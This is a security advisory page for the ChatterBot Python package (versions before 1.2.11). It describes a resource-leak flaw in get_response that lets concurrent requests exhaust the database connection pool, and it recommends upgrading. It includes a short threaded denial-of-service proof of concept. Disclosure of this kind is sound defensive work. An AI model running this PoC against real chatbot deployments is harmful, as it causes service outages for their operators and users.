Missing Release of Resource after Effective Lifetime Affecting chatterbot package, versions [,1.2.11)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.5% (41st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-CHATTERBOT-15038747
  • published20 Jan 2026
  • disclosed19 Jan 2026
  • creditAditya Bhatt

Introduced: 19 Jan 2026

CVE-2026-23842  (opens in a new tab)
CWE-772  (opens in a new tab)

How to fix?

Upgrade ChatterBot to version 1.2.11 or higher.

Overview

ChatterBot is a ChatterBot is a machine learning, conversational dialog engine

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the get_response function. An attacker can cause persistent service unavailability by making concurrent requests that exhaust the database connection pool.

PoC

from chatterbot import ChatBot
import threading

bot = ChatBot("dos-test")

def attack():
bot.get_response("hello")

threads = []
for _ in range(30):
t = threading.Thread(target=attack)
t.start()
threads.append(t)

for t in threads:
t.join()

CVSS Base Scores

version 4.0
version 3.1